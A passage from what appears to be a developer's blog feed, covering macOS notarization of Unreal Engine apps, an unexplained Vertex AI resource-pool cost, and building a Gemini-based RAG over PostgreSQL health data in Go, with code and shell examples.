Moreover, there’s another thing to carefully note: the engine provides libraries that have no executable bit set. This is a problem for the notarization problem (I learned this after hours and hours spent attempting to notarize a correctly signed application).

Thus the first step is to ensure that all the .dylib provided by the engine and placed inside our .app are executable.

find dist/Mac/BundleProject.app/Contents/UE/Engine/ -name '*dylib' -exec chmod +x {} \;

The second step is to codesign all the executable files inside the applications. For this code signing step, we export another environment variable named $application_cert that must contain a valid developer ID certificate. The one that starts with Developer ID Application:.

# find all the executable files in the bundle and exclude .sh and .bat files (that for some reason unreal places there, but are not needed)
# replace the new lines with the null byte, so we can support the code signing of file with spaces in the path/name
to_sign=$(find dist/Mac/BundleProject.app/ -type f -perm +111 -print | grep -vE "\.(sh|bat)$" | \tr '\n' '\0')

# code sign all the executables with the application certificate, adding the hardened runtime flag and the secure timestamp
echo -n $to_sign | xargs -t -0 codesign -f -vvv -s "$application_cert" --entitlements Build/Mac/Resources/entitlements.plist --options runtime --timestamp

Last but not least, remember to codesign the app itself.

codesign -f -vvv -s "$application_cert" --entitlements Build/Mac/Resources/entitlements.plist --options runtime --timestamp  dist/Mac/BundleProject.app

Once again codesign --verify --verbose dist/Mac/BundleProject.app returns success. But this is not helpful, this tool just checks that a signature is present - not that the signature is valid nor the content of the app satisfies the notarization process.

Using productbuild we can recreate the package, and with notarytool submit to submit it for the notarization process. Finally, we can get a very satisfying…

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>id</key>
	<string>5a1ca8a8-bb3c-4772-a531-f4c79ae06ba1</string>
	<key>message</key>
	<string>Processing complete</string>
	<key>status</key>
	<string>Accepted</string>
</dict>
</plist>

Accepted 🎉🎉

TL;DR

The code signing process integrated inside the Unreal Build Tool, using the modernized Xcode workflow, is not sufficient for notarizing and thus distributing an application. Moreover, if you are using CEF, you need to patch the engine or manually move the framework inside the bundle in the correct location. See Chromium Embedded Framework as a macOS framework.

In any case, you need to:

Correctly configure the entitlements for your application. Be sure to have the bundle ID coherent in the DefaultEngine.ini, Info.plist and entitlements.plist files.
Have an Info.plist and update manually its bundle ID there. Unreal for some unknown reason is not doing it for you. Depending on your application, you may need to add other capabilities to the entitlements file.

Package the application passing the correct flags:

LC_ALL="C" ue4 package Shipping -CrashReportClient

Ensure all the binaries provided by the engine (and also by the plugins) are executable ($app is where the .app is)
```
find $app/Contents/UE/Engine/ -name '*dylib' -exec chmod +x {} \;
```

Manually codesign all the executables in the .app. Use the certificate starting with Developer ID Application:.

 to_sign=$(find dist/Mac/BundleProject.app/ -type f -perm +111 -print | grep -vE "\.(sh|bat)$" | \tr '\n' '\0')
 echo -n $to_sign | xargs -t -0 codesign -f -vvv -s "$application_cert" --entitlements Build/Mac/Resources/entitlements.plist --options runtime --timestamp

Codesign the application itself:

 codesign -f -vvv -s "$application_cert" --entitlements Build/Mac/Resources/entitlements.plist --options runtime --timestamp $app

Create the .pkg for notarization and future distribution.

 productbuild --component dist/Mac/BundleProject.app /Applications --sign "$installer_cert" --timestamp --identifier REPLACE_WITH_BUNDLE_ID Project.pkg

Submit the project to the notarization service and wait for the good feeling of seeing it as “Accepted”.

 xcrun notarytool submit BundleProject.pkg --password $APPDEV_PASSWORD --apple-id $APPDEV_ID --team-id $APPDEV_TEAMID --wait --verbose --output-format plist

You can see a working example in the dedicated repository. Feel free to use it as a starting point for your macOS + Unreal Engine application.

Conclusions

It has been a long journey. What has been written in this article is the result of weeks of trial and error, reading the poor close-to-zero documentation of the engine (there’s documentation, but everything described in the article is not documented), and reading the source code of the Unreal Build Tool together with the documentation of the macOS distribution process for understanding how the various parts interact together.

The code signing integrated into the UBT is useless if you plan to distribute a valid application - so an application that passes the notarization process. Moreover, all the various bugs found during this process made the experience really unpleasant. Anyway, I managed to solve/workaround all the various issues. So I hope this article can help other developers and save them all the weeks I had to spend on this.

A final note, the engine documentation about the modernized Xcode workflow focused on the creation of the .xcarchive - that is pretty much the same thing. The application created in the archive suffers from the very same issues.

The (Hidden?) Costs of Vertex AI Resource Pools: A Cautionary Tale

Wed, 01 May 2024 08:00:00 +0000

In the article Custom model training & deployment on Google Cloud using Vertex AI in Go we explored how to leverage Go to create a resource pool and train a machine learning model using Vertex AI’s allocated resources. While this approach offers flexibility, there’s a crucial aspect to consider: the cost implications of resource pools.

This article details my experience with a sudden price increase in Vertex AI and the hidden culprit – a seemingly innocuous resource pool.

A Unexplained Cost Surge

The green color in the graph represents Vertex AI expenditure. The image above shows that something happened around the 8 of March. During that period I was only working on the dashboard of fitsleepinsights.app, so definitely nothing changed in the infrastructure, the code, or the load of the Vertex AI services I was using. Anyway, from the graph it’s clearly visible an increase of more than 500% in the cost of Vertex AI. I was spending literally less than 1 €/day until the 8 March, and from that day onward I started spending more than 5 €/day.

Reaching out to Google Cloud support proved unhelpful. They couldn’t pinpoint the reason behind the cost increase. Left to my own devices, I embarked on a multi-day investigation through various Vertex AI dashboards.

The Culprit Revealed (with a Glitch)

The first hint came from the pricing dashboard, in the cost table breakdown.

We can see from it that the Vertex AI costs come mainly from 2 Online/Batch prediction resources:

The Instance Core running in EMEA for AI platform
The Instance RAM running in EMEA for AI platform

All the other costs are negligible. Unfortunately, there’s no detailed information on where these prices are coming from. It’s only clear that something in the online/batch prediction is using core (CPUs) and RAM.

In Custom model training & deployment on Google Cloud using Vertex AI in Go we created a resource pool for training our models. After digging inside the online/batch dashboards of Vertex AI, I stumbled upon the resource pool dashboard – the potential culprit.

Unfortunately, displaying the dashboard resulted in an error 😒

So, no dashboard is available. Lucky me? To be sure that there wasn’t something flooding the endpoints deployed (but the logs were clear) I, anyway, deleted all the models and all the endpoints deployed. I did this around mid-March. As it is visible from the graph at the beginning of the article, nothing changed. Therefore the resource pool is the major suspect.

Taking Back Control: Deleting the Resource Pool (Go Code Included)

The resource pool, likely active for months, might have been unknowingly incurring charges. After all, I couldn’t find any documentation regarding a free tier for resource pools.

To curb the runaway costs and return to normalcy (ideally, zero cost since no resources were actively used), I had to delete the resource pool. Here’s the Go code that did the trick:

ctx := context.Background()
var resourcePoolClient *vai.DeploymentResourcePoolClient
if resourcePoolClient, err = vai.NewDeploymentResourcePoolClient(ctx, option.WithEndpoint(_vaiEndpoint)); err != nil {
  log.Error("error creating resource pool client: ", err)
  return err
}
defer resourcePoolClient.Close()

deploymentResourcePoolId := "resource-pool"
var deploymentResourcePool *vaipb.DeploymentResourcePool = nil

iter := resourcePoolClient.ListDeploymentResourcePools(ctx, &vaipb.ListDeploymentResourcePoolsRequest{
  Parent: fmt.Sprintf("projects/%s/locations/%s", _vaiProjectID, _vaiLocation),
})

var item *vaipb.DeploymentResourcePool
for item, _ = iter.Next(); err == nil; item, err = iter.Next() {
  if strings.Contains(item.GetName(), deploymentResourcePoolId) {
    deploymentResourcePool = item
    log.Print("Found deployment resource pool: ", deploymentResourcePool.GetName())

    // Delete the resource pool
    var deleteResourcePoolOp *vai.DeleteDeploymentResourcePoolOperation
    if deleteResourcePoolOp, err = resourcePoolClient.DeleteDeploymentResourcePool(ctx, &vaipb.DeleteDeploymentResourcePoolRequest{
      Name: deploymentResourcePool.GetName(),
    }); err != nil {
      log.Error("Error deleting deployment resource pool: ", err)
      return err
    }
    if err = deleteResourcePoolOp.Wait(ctx); err != nil {
      log.Error("Error waiting for deployment resource pool deletion: ", err)
      return err
    }
    log.Print("Deleted deployment resource pool: ", deploymentResourcePool.GetName())
    break
  }
}

For the sake of completeness, I report below the code I used in the past to create the resource pool. This way, I hope the article becomes a self-contained resource about the management of the resource pool lifetime using Vertex AI in Go.

How to create a resource pool - click me to see the code

var resourcePoolClient *vai.DeploymentResourcePoolClient
if resourcePoolClient, err = vai.NewDeploymentResourcePoolClient(ctx, option.WithEndpoint(vaiEndpoint)); err != nil {
    return err
}
defer resourcePoolClient.Close()

deploymentResourcePoolId := "resource-pool"
var deploymentResourcePool *vaipb.DeploymentResourcePool = nil
iter := resourcePoolClient.ListDeploymentResourcePools(ctx, &vaipb.ListDeploymentResourcePoolsRequest{
    Parent: fmt.Sprintf("projects/%s/locations/%s", os.Getenv("VAI_PROJECT_ID"), os.Getenv("VAI_LOCATION")),
})
var item *vaipb.DeploymentResourcePool
for item, _ = iter.Next(); err == nil; item, err = iter.Next() {
    fmt.Println(item.GetName())
    if strings.Contains(item.GetName(), deploymentResourcePoolId) {
        deploymentResourcePool = item
        fmt.Printf("Found deployment resource pool %s\n", deploymentResourcePool.GetName())
        break
    }
}

if deploymentResourcePool == nil {
    fmt.Println("Creating a new deployment resource pool")
    // Create a deployment resource pool: FOR SHARED RESOURCES ONLY
    var createDeploymentResourcePoolOp *vai.CreateDeploymentResourcePoolOperation
    if createDeploymentResourcePoolOp, err = resourcePoolClient.CreateDeploymentResourcePool(ctx, &vaipb.CreateDeploymentResourcePoolRequest{
        Parent:                   fmt.Sprintf("projects/%s/locations/%s", os.Getenv("VAI_PROJECT_ID"), os.Getenv("VAI_LOCATION")),
        DeploymentResourcePoolId: deploymentResourcePoolId,
        DeploymentResourcePool: &vaipb.DeploymentResourcePool{
            DedicatedResources: &vaipb.DedicatedResources{
                MachineSpec: &vaipb.MachineSpec{
                    MachineType:      "n1-standard-4",
                    AcceleratorCount: 0,
                },
                MinReplicaCount: 1,
                MaxReplicaCount: 1,
            },
        },
    }); err != nil {
        return err
    }

    if deploymentResourcePool, err = createDeploymentResourcePoolOp.Wait(ctx); err != nil {
        return err
    }
    fmt.Println(deploymentResourcePool.GetName())
}

The Sweet Relief of Reduced Costs

Following the deletion of the resource pool, my Vertex AI costs (green) plummeted back to almost zero (only some cents are still there for the Gemini requests). This confirmed my suspicion – the resource pool was indeed the culprit behind the cost increase.

Conclusions

Resource pools in Vertex AI offer a convenient way to manage shared compute resources for training and deploying models. However, it’s crucial to understand their cost implications. Here are some key takeaways:

The documentation of the resource pool doesn’t mention a free period. This period apparently exists since Vertex AI started to charge for this service out of nowhere.
Resource pools incur charges even when not actively used for training or prediction.
Carefully monitor your Vertex AI resource pool usage to avoid unexpected cost increases.
Consider deleting unused resource pools to optimize your spending.
The resource pool dashboard is broken (or at least it was and still is on my account).

By being mindful of these hidden costs, you can leverage Vertex AI resource pools effectively without jeopardizing your budget.

For any feedback or comments, please use the Disqus form below - Thanks!

Building a RAG for tabular data in Go with PostgreSQL & Gemini

Sat, 06 Apr 2024 08:00:00 +0000

Large Language Models (LLMs) are well-suited for working with non-structured data. So far, their usage with structured data hasn’t been explored in depth although structured data is everywhere relational databases are. Making an LLM able to interact with a relational database can be an interesting idea since it will unlock the possibility of letting a user “chat with the data” and let the LLM discover relationships inside the data lake

In this article, we’ll explore a possible integration of Gemini (the multimodal large language model developed by Google) with PostgreSQL, and how to build a Retrieval-Augmented Generation (RAG) system to navigate in the structured data. Everything will be done using the Go programming language.

This is the fourth article of a series about the usage of Vertex AI in Go, and as such, it will share the same prerequisite presented in both of them: the services account creation, the environment variables, and so on. The prerequisite parts can be read in each of those articles.

This article tries to implement the idea presented at the end of the last article. Given that converting all the user data to a textual representation overflows the maximum context length of Gemini, we implement a RAG to overcome this limitation.

RAG and Embeddings

Before going to the implementation in PostgreSQL, Go, and Gemini (through Vertex AI) we need to understand how a RAG system works. The analogy with a detective searching inside a massive document archive for clues works well. In a RAG we have three components:

The Detective: This is the generative model, like Gemini, that uses its knowledge to answer your questions or complete tasks.
The Archive: This is your PostgreSQL database, holding all the tabular data (your documents).
The Informant: This is the retriever, a special tool that understands both your questions and the data in the archive. It acts like your informant, scanning the archive to find the most relevant documents (clues) for the detective.

But how does the informant know which documents are relevant? Here’s where embeddings come in. Embeddings are like condensed summaries of information. Imagine each document and your questions are shrunk down into unique sets of numbers. The closer these numbers are in space, the more similar the meaning.

The informant uses an embedding technique to compare your question’s embedding to all the document embeddings in the archive. It then retrieves the documents with the most similar embeddings, essentially pointing the detective in the right direction.

With these relevant documents at hand, the detective (generative model) can then analyze them and use its knowledge to answer your question or complete your request.

Given this structure, we need:

The detective: in our case, it will be Gemini used through Vertex AI.
The embedding model: a model able to create embeddings from a document.
The archive: PostgreSQL. We need to convert the structured information from the database to a format valid for the embedding model. Then store the embeddings on the database.
The informant: pgvector. The open-source vector similarity search extension for PostgreSQL.

The embedding model is able to create embeddings only of a document. So, we need to find a way to convert the structured representation into a document as the first step.

From structured to Unstructured data

LLMs are very good at extracting information from textual data and executing tasks described using text. Depending on our data, we may be lucky to have something easy “to narrate”.

In the case described in this article, we are going to use all the data related to sleep, physical activities, food, heart rate, and number of steps (and others) gathered during a day for a single user. With this information it’s quite easy to extract a regular description of a user’s day, section by section. Being the data so regular, we can try to make it fit in a template.

The template: the daily report

We can define a template that summarizes/highlights the important part we want to be able to retrieve while searching through our RAG. The template will be used by Gemini as part of its prompt in a chat session. In this chat session, we are going to ask the model to extract from the JSON data the information that we want to display in the report.

### Date [LLM to write date]

## Activity

- Total Active Time: [LLM to fill from activities_summaries.active_minutes]
- Calories Burned: [LLM to fill from activities_summaries.calories_out]
- Steps Taken: [LLM to fill from activities_summaries.steps]
- Distance Traveled: [LLM to fill from activities_summaries.distance / activities_summary_distances.distance]
- List of activities: [LLM to iterate through activities_summary_activities and fill name, duration, calories burned]

### Active Minutes Breakdown

- Lightly Active Minutes: [LLM to fill from activities_summaries.lightly_active_minutes]
- Fairly Active Minutes: [LLM to fill from activities_summaries.fairly_active_minutes]
- Very Active Minutes: [LLM to fill from activities_summaries.very_active_minutes]

### Heart Rate Zones

- [LLM to iterate through activities_summary_heart_rate_zones and fill from heart_rate_zones (zone name, minutes)]

## Sleep

- Total Sleep Duration: [LLM to fill from sleep_logs.duration]
- Sleep Quality: [LLM to fill from sleep_logs.efficiency]
- Deep Sleep: [LLM to fill from sleep_stage_details where sleep_stage='deep sleep'] (minutes)
- Light Sleep: [LLM to fill from sleep_stage_details where sleep_stage='light sleep'] (minutes)
- REM Sleep: [LLM to fill from sleep_stage_details where sleep_stage='rem sleep'] (minutes)
- Time to Fall Asleep: [LLM to fill from sleep_logs.minutes_to_fall_asleep]

## Exercise Activities

- [LLM to iterate through daily_activity_summary_activities / minimal_activities and fill name, duration, calories burned (from activity_logs)]
...

Before digging inside the Go code, we have to design the structure for our data in the database.

The simplest solution is to create a table containing the textual reports that our LLM will generate together with its “compact representation” (the embeddings).

The table creation

Being our data already stored on PostgreSQL it would be ideal to use the same database also for storing the embeddings and performing spatial queries on them, and not introduce a new “vector database”.

pgvector is the extension for PostgreSQL that allows us to define a data type “vector” and it gives our operators and function to perform measures like cosine distance, l2 distance, and many others.

Once installed and granted the superuser access to our database user, we can enable the extension and define the table for storing our data.

-- Enable the pgvector extension
CREATE EXTENSION IF NOT EXISTS vector;

CREATE TABLE IF NOT EXISTS reports (
    id SERIAL PRIMARY KEY,
    user_id BIGINT NOT NULL REFERENCES users(id),
    start_date DATE NOT NULL,
    end_date DATE NOT NULL,
    report_type TEXT NOT NULL,
    report TEXT NOT NULL,
    embedding VECTOR
);

After enabling the vector extension we can define the embedding field of type vector. There’s no need to specify the maximum length of the vector since the extension supports dynamically shaped vectors.

The table is defined to store all the users’ reports. In this article, we are going to cover only the daily reports (so start_date will be equal to end_date) but to concept is easily generalizable to different kinds of reports. This is also the reason for the report_type field.

The Go data structure

It’s a good practice to map a SQL table to a struct. Using galeone/igor for interacting with PostgreSQL from Go this is pretty much mandatory.

import (
    "time"
    "github.com/pgvector/pgvector-go"
)

type Report struct {
    ID         int64 `igor:"primary_key"`
    UserID     int64
    StartDate  time.Time
    EndDate    time.Time
    ReportType string
    Report     string
    Embedding  pgvector.Vector
}

func (r *Report) TableName() string {
    return "reports"
}

That’s all. We are now ready to interact with Vertex AI to:

Go from structured to unstructured data, making Gemini filling the previously defined template.
Generate the embeddings of both the report.
Let the user create a chat session with Gemini and create the embeddings of its prompt.
Doing a spatial query for retrieving the (hopefully) relevant documents we have in the database.
Pass these documents to Gemini as its search context.
Ask the model to answer the user question by looking at the provided document.

The Reporter type

We can design a data type Reporter whose goal is to generate these reports. Using the (well-known after three articles) pattern for the interaction with Vertex AI, we are going to create 2 different clients:

The generative AI client for Gemini
The prediction client for our embedding model

import (
    vai "cloud.google.com/go/aiplatform/apiv1beta1"
    vaipb "cloud.google.com/go/aiplatform/apiv1beta1/aiplatformpb"
    "cloud.google.com/go/vertexai/genai"
    "google.golang.org/api/option"
    "google.golang.org/protobuf/types/known/structpb"
)
type Reporter struct {
    user             *types.User
    predictionClient *vai.PredictionClient
    genaiClient      *genai.Client
    ctx              context.Context
}

// NewReporter creates a new Reporter
func NewReporter(user *types.User) (*Reporter, error) {
    ctx := context.Background()

    var predictionClient *vai.PredictionClient
    var err error
    if predictionClient, err = vai.NewPredictionClient(ctx, option.WithEndpoint(_vaiEndpoint)); err != nil {
        return nil, err
    }

    var genaiClient *genai.Client
    const region = "us-central1"
    if genaiClient, err = genai.NewClient(ctx, _vaiProjectID, region, option.WithCredentialsFile(_vaiServiceAccountKey)); err != nil {
        return nil, err
    }

    return &Reporter{user: user, predictionClient: predictionClient, genaiClient: genaiClient, ctx: ctx}, nil
}

// Close closes the client
func (r *Reporter) Close() {
    r.predictionClient.Close()
    r.genaiClient.Close()
}

Our Reporter will be used to generate both the reports and its vector representation (embedding).

Generate the embeddings

We can start by using the predictionClient to invoke a text embedding model.

The pattern is always the same. Working with Vertex AI in Go is quite convoluted because every client request has to be created by filling in the correct protobuf fields and this is verbose and not immediate. Just look at all the boilerplate code we have to write to extract the embeddings from the response.

_vaiEmbeddingsEndpoint is the global variable containing the endpoint for the chosen model. In our case the endpoint for Google’s model textembedding-gecko@003.

This method returns a pgvector.Vector offered by the pgvector/pgvector-go package.

import "github.com/pgvector/pgvector-go"

// GenerateEmbeddings uses VertexAI to generate embeddings for a given prompt
func (r *Reporter) GenerateEmbeddings(prompt string) (embeddings pgvector.Vector, err error) {
    var promptValue *structpb.Value
    if promptValue, err = structpb.NewValue(map[string]interface{}{"content": prompt}); err != nil {
        return
    }

    // PredictRequest: create the model prediction request
    // autoTruncate: false
    var autoTruncate *structpb.Value
    if autoTruncate, err = structpb.NewValue(map[string]interface{}{"autoTruncate": false}); err != nil {
        return
    }

    req := &vaipb.PredictRequest{
        Endpoint:   _vaiEmbeddingsEndpoint,
        Instances:  []*structpb.Value{promptValue},
        Parameters: autoTruncate,
    }

    // PredictResponse: receive the response from the model
    var resp *vaipb.PredictResponse
    if resp, err = r.predictionClient.Predict(r.ctx, req); err != nil {
        return
    }

    // Extract the embeddings from the response
    mapResponse, ok := resp.Predictions[0].GetStructValue().AsMap()["embeddings"].(map[string]interface{})
    if !ok {
        err = fmt.Errorf("error extracting embeddings")
        return
    }
    values, ok := mapResponse["values"].([]interface{})
    if !ok {
        err = fmt.Errorf("error extracting embeddings")
        return
    }
    rawEmbeddings := make([]float32, len(values))
    for i, v := range values {
        rawEmbeddings[i] = float32(v.(float64))
    }

    embeddings = pgvector.NewVector(rawEmbeddings)
    return
}

It should be pointed out that we are not taking into account the model’s input length limitations because we suppose that the report text and the model input are always below 3072 tokens. Anyway, with the autoTruncate parameter set to false, this method will fail if the input length exceeds the limit.

This function can now be used by the final users (for embedding their questions) and by the report generation method, that will create the type.Report (that will be inserted inside the database).

Generate the reports

In Go, we can embed files directly inside the binary using the embed package. Embedding a template is the perfect use-case for this module:

import "embed"

var (
    //go:embed templates/daily_report.md
    dailyReportTemplate string
)

The method GenerateDailyReport will use gemini-pro to fill the template as requested. After filling the template, we’ll invoke the previously defined GenerateEmbeddings method to completely fill the Report structure previously defined.

// GenerateDailyReport generates a daily report for the given user
func (r *Reporter) GenerateDailyReport(data *UserData) (report *types.Report, err error) {
	gemini := r.genaiClient.GenerativeModel("gemini-pro")
	temperature := ChatTemperature
	gemini.Temperature = &temperature

	var builder strings.Builder
	fmt.Fprintln(&builder, "This is a markdown template you have to fill with the data I will provide you in the next message.")
	fmt.Fprintf(&builder, "```\n%s```\n\n", dailyReportTemplate)
	fmt.Fprintln(&builder, "You can find the sections to fill highlighted with \"[LLM to ...]\" with instructions on how to fill the section.")
	fmt.Fprintln(&builder, "I will send you the data in JSON format in the next message.")
	introductionString := builder.String()

	chatSession := gemini.StartChat()
	chatSession.History = []*genai.Content{
		{
			Parts: []genai.Part{
				genai.Text(introductionString),
			},
			Role: "user",
		},
		{
			Parts: []genai.Part{
				genai.Text("Send me the data in JSON format. I will fill the template you provided using this data"),
			},
			Role: "model",
		},
	}

	var jsonData []byte
	if jsonData, err = json.Marshal(data); err != nil {
		return nil, err
	}

	var response *genai.GenerateContentResponse
	if response, err = chatSession.SendMessage(r.ctx, genai.Text(string(jsonData))); err != nil {
		return nil, err
	}
	report = &types.Report{
		StartDate:  data.Date,
		EndDate:    data.Date,
		ReportType: "daily",
		UserID:     r.user.ID,
	}
	for _, candidates := range response.Candidates {
		for _, part := range candidates.Content.Parts {
			report.Report += fmt.Sprintf("%s\n", part)
		}
	}

	if report.Embedding, err = r.GenerateEmbeddings(report.Report); err != nil {
		return nil, err
	}

	return report, nil
}

We created a ChatSession with Gemini giving the model a fake history as context and sending the JSON-serialized user data as it’s only source of information.

For example, a (partial) report generated is:

### April 4, 2024

## Activity

- Total Active Time: 41 minutes
- Calories Burned: 346
- Steps Taken: 704
- Distance Traveled: 0 miles
- List of activities:
  - Weights: 41 minutes, 346 calories

### Active Minutes Breakdown

- Lightly Active Minutes: 254
- Fairly Active Minutes: 18
- Very Active Minutes: 35

### Heart Rate Zones

- Out of Range: 6 minutes
- Fat Burn: 35 minutes
- Cardio: 0 minutes
- Peak: 0 minutes

## Sleep

- Total Sleep Duration: 7 hours 30 minutes
- Sleep Quality: 75%
- Deep Sleep: 95 minutes
- Light Sleep: 250 minutes
- REM Sleep: 118 minutes
- Time to Fall Asleep: 10 minutes

## Exercise Activities

- Weights: 41 minutes, 346 calories

...

Some information is true, but other information is missing although present in the data (e.g. Cardio/Peak info is present in the JSON but the model inserted 0 as value - that’s wrong). Using an LLM for filling the template is just a way to speed up the template completion process, although being this data available in a structured format the best thing to do would have been to just create the right query to tell the right story. Avoiding thus the randomness of the LLM.

Chatting with the data

Supposing that we have inserted all the reports inside the database, we can now receive messages from the user and try to answer.

Let’s suppose that msg contains the user question. We have to:

Generate the embeddings
Search for the best similar reports available (top-k with k=3 just for limiting the context size)
Share the reports with Gemini inside a chatSession and ask the user question
Send the result

// 1. Generate the embeddings
var queryEmbeddings pgvector.Vector
if queryEmbeddings, err = reporter.GenerateEmbeddings(msg); err != nil {
    return err
}

// 2. Search for similar reports
var reports []string
// Top-3 related reports, sorted by l2 similarity
if err = _db.Model(&types.Report{}).Where(&types.Report{UserID: user.ID})
        .Order(fmt.Sprintf("embedding <-> '%s'", queryEmbeddings.String()))
        .Select("report").Limit(3).Scan(&reports); err != nil {
    return err
}

// 3. Share the reports with Gemini inside a chatSession and ask the user question
builder.Reset() // builder is a stringBuilder
fmt.Fprintln(&builder, "Here are the reports to help you with the analysis:")
fmt.Fprintln(&builder, "")
for _, report := range reports {
    fmt.Fprintln(&builder, report)
}
fmt.Fprintln(&builder, "")
fmt.Fprintln(&builder, "Here's the user question you have to answer:")
fmt.Fprintln(&builder, msg)

var responseIterator *genai.GenerateContentResponseIterator = chatSession.SendMessageStream(ctx, genai.Text(builder.String()))

// 4. Send the result
for {
    response, err := responseIterator.Next()
    if err == iterator.Done {
        break
    }
    for _, candidates := range response.Candidates {
        for _, part := range candidates.Content.Parts {
            reply := fmt.Sprintf("%s", part)
            fmt.Println(reply)
        }
    }
}

Note that point 3 is partial: we are inside a chatSession where the initial prompt instructed Gemini to behave in a certain way, and that we’ll send messages with reports and the user question.

Point 4 instead is a demonstration of how to receive a streaming response from Gemini - useful when creating a websocket-based application where the Gemini response can be streamed back to the user directly through the websocket.

The image below shows how this interaction allows the users to get insights from their data :)

Conclusion & FitSleepInsights

Interacting with Gemini and other models via Vertex AI is quite simple, once understood the pattern to follow and how to extract/insert data from the Protobuf structures. The presented solution that allows the creation of a RAG for data stored in PostgreSQL passes through the generation of a template. This template has been filled by Gemini - but a better solution (although longer to develop) would be to manually fill the template and create these “stories”. In this way, we can remove the randomness of the LLM at least from the data generation part.

The integration of pgvector allowed us to store embeddings on PostgreSQL and make spatial queries in a seamless way.

By the end of the article, we also leaked a screenshot of this feature implemented on fitsleepinsights.app. By the time of the publication of this article, the application is not yet deployed - but the source code is available on Github @ https://github.com/galeone/fitsleepinsights/.

For any feedback or comments, please use the Disqus form below - Thanks!

This article has been possible thanks to the Google ML Developer Programs team that supported this work by providing Google Cloud Credit.

Using Gemini in a Go application: limits and details

Mon, 26 Feb 2024 08:00:00 +0000

Gemini - the multimodal large language model developed by Google - is already available on Vertex AI for production-grade applications. As with any other Vertex AI product, it is possible to interact with it using clients built in different languages such as Python, Java, and Go or using plain HTTP requests. After all, Vertex AI is just a web interface for interacting with the various offered services. In this article, I’m going to show you how to use the Go client to “chat with your data” and showcase some of the limitations of the model when it comes to context length.

Being a gopher, Go is my language of choice when it comes to developing new web applications. As someone may have noticed, I’m writing articles about the usage of Vertex AI and Go in the healthcare domain such as:

This is the third article of this series, and as such, it will share the same prerequisite presented in both of them: the services account creation, the environment variables, and so on. The prerequisite parts can be read in each of those articles.

I’m writing these articles because I’m working on a new service called FitSleepInsights: a tool to visualize your health data and chat with them (using Gemini!). It will give every Fitbit user a way to visualize and get valuable insights from their data. If you are a Fitbit user, subscribe to the newsletter at the bottom of this article to receive an email when the service will be live!

Model definition and configuration

The idea is to give the Fitbit user a way to chat with its data. The naive implementation will be to fetch all the user data from the Fitbit API, convert them to a textual representation, and feed them to the model. After that, we can let the users chat with the AI, to make them able to get insights from their own data. While implementing this naive idea, we will end up facing some of the limitations of Gemini.

Using any service of Vertex AI is straightforward: just create the dedicated client and use it, simple as that. The Go package for the Generative models on Vertex AI is cloud.google.com/go/vertexai/genai so we need to import it.

The documentation about the various Gemini models is available at https://ai.google.dev/models/gemini. For our use case, we are interested in “Gemini Pro” the model that offers “text” and “chat” services. In the linked documentation we can find some model constants that we’ll include in our code.

import "cloud.google.com/go/vertexai/genai"

const MaxToken int = 30720
const MaxSequenceLength int = MaxToken * 3

There’s a note in the Model Variations section that states:

Note: For Gemini models, a token is equivalent to about 4 characters. 100 tokens are about 60-80 English words.

That’s why we set the MaxSequenceLength constant to MaxToken * 3 (and the 3 multiplicative factor is a conservative value). As we’ll later see, this is not entirely correct, since it looks like the model (from the Go client) is not able to “forget” and ignore past data - as one may expect from interacting with a LLM.

It’s now time to create the client.

ctx := context.Background()
var client *genai.Client
const region = "us-central1"
if client, err = genai.NewClient(ctx, os.Getenv("VAI_PROJECT_ID"), region, option.WithCredentialsFile(os.Getenv("VAI_SERVICE_ACCOUNT_KEY"))); err != nil {
    return err
}
defer client.Close()

A thing that immediately stands out is that hardcoded const region = "us-central1". This is one of the limitations (as of today) of the usage of Gemini on Vertex AI. Although my whole project is based in Europe (VAI_PROJECT_ID points to a European region), I have to hardcode this location, because it’s the only one that works.

With the created client we can choose the model to use. In the documentation, there’s a section named Model Variations that describes all the models available. For our use case, the model to use is gemini-pro since we’ll work with text only, and we are not interested in the other multi-modal variations.

Every model has a set of tweakable parameters that allow us to control how the model behaves. One of the most important parameters is the temperature: a scalar value in the [0-1] range. A higher temperature results in more creative and less predictable outputs, while a lower temperature produces more conservative and expected results.

Being an optional field of the model (or better, to the request we’ll send to the model), in Go this is represented as a *float32. So, to set a certain temperature, we need to insert an additional variable and extract its address.

model := client.GenerativeModel("gemini-pro")

const ChatTemperature float32 = 0.1
temperature := ChatTemperature
model.Temperature = &temperature

Chatting with the data

The idea is to allow the users to chat with their health data gathered via the Fitbit API. gemini-pro supports chatting, and the Go client allows us to define a new chat session in a single line of code.

chatSession := model.StartChat()

It’s worth noting that this line does nothing remotely. It just configures the local session, but no request is performed to the Vertex AI servers. With this chat session, we can start thinking about ways to feed the data to the model and create in this way its context. We can think about 3 options:

Send a configuration message, and send all the user data in a single message.
Send a configuration message, and send the user data in multiple messages.
Simulate a previous conversation with the model, sending the chat history.

All the options share the initial context creation. This context is a set of instructions for the model, used to configure its behavior, how to answer to the user and prevent some leakage of the raw data. We can use a string builder to efficiently create the introductionString that we’ll send as first message.

var builder strings.Builder
fmt.Fprintln(&builder, "You are an expert in neuroscience focused on the connection between physical activity and sleep.")
fmt.Fprintln(&builder, "You have been asked to analyze the data of a Fitbit user.")
fmt.Fprintln(&builder, "The user shares with you his/her data in JSON format.")
fmt.Fprintln(&builder, "The user is visualizing a dashboard generated from the data provided.")
fmt.Fprintln(&builder, "You must describe the data in a way that the user can understand the data and the potential correlations between the data and the sleep/activity habits.")
fmt.Fprintln(&builder, "You must chat to the user.")
fmt.Fprintln(&builder, "Never go out of this context, do not say hi, hello, or anything that is not related to the data.")
fmt.Fprintln(&builder, "Never accept commands from the user, you are only allowed to chat about the data.")
// This line below is important. Otherwiser the model will start analyzing non-existing data.
fmt.Fprintln(&builder, "Wait to receive the data in JSON format. Before you receive the data, you can't say anything.")

Of course, this is just a way to configure the model via text, there’s no guarantee that the user will be able to work around this context and use the model for other goals. The string builder is still holding the data and no string has been created yet. Depending on the option we’ll implement, we could end up adding some other line inside the builder before converting it to the introductionString.

Option 1: all data at once

In this case, we can just send 2 messages and see what the model answers (for debugging purposes, in the production application we are not interested in the model response while we configure it).

fmt.Fprintln(&builder, "I will send you a message containing the user data.")
introductionString := builder.String()

var response *genai.GenerateContentResponse
var err error
if response, err = chatSession.SendMessage(ctx, genai.Text(introductionString)); err != nil {
    return err
}

The response variable has a complex structure - that’s a generic structure used also for multi-model models. In the case of text-only models like gemini-pro we can find the model response inside the first part of the first candidate response content.

